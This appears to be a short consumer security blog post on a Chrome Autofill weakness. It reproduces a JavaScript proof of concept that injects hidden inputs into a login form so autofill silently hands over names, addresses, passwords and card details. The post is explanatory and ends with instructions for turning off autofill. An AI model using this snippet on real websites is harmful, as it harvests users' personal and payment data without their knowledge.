Autofill: why you should disable it immediately

Google Chrome has yet to fix a known vulnerability in Autofill that was first reported in 2013.With
this vulnerability, a hacker could hide the fields of a login form on a website, and Chrome would automatically fill in your personal information if you choose to use the Autofill feature.
The gif below illustrates the problem:

GitHub user hampie demonstrated it with the following JavaScript:

var autocompletes = ['name', 'honorific-prefix', 'given-name', 'additional-name', 'family-name', 'honorific-suffix', 'nickname', 'username', 'new-password', 'current-password', 'organization-title', 'organization', 'street-address', 'address-line1', 'address-line2', 'address-line3', 'address-level4', 'address-level3', 'address-level2', 'address-level1', 'country', 'country-name', 'postal-code', 'cc-name', 'cc-given-name', 'cc-additional-name', 'cc-family-name', 'cc-exp', 'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type', 'transaction-currency', 'transaction-amount', 'language', 'bday', 'bday-day', 'bday-month', 'bday-year', 'sex', 'url', 'photo', 'tel', 'tel-country-code', 'tel-national', 'tel-area-code', 'tel-local', 'tel-local-prefix', 'tel-local-suffix', 'tel-extension', 'impp' ]; emailField.addEventListener('focus', function() { var wrap = autocompletes.reduce(function(wrapper, field) { var input = document.createElement('input'); // Make them not focussable input.tabIndex = -1; input.autocomplete = field; wrapper.appendChild(input); return wrapper; }, document.createElement('div')); // Hide the wrapper wrap.classList.add('hidden'); form.appendChild(wrap); // Inject the autocompletes once this.removeEventListener('focus', arguments.callee); });

Of course, we recommend disabling Chrome's autofill feature immediately.
Let's also look at the fastest way to disable autofill in Chrome:
Open the address:
chrome://settings/autofill
and disable the feature:

That's it. You are safe from this exploit.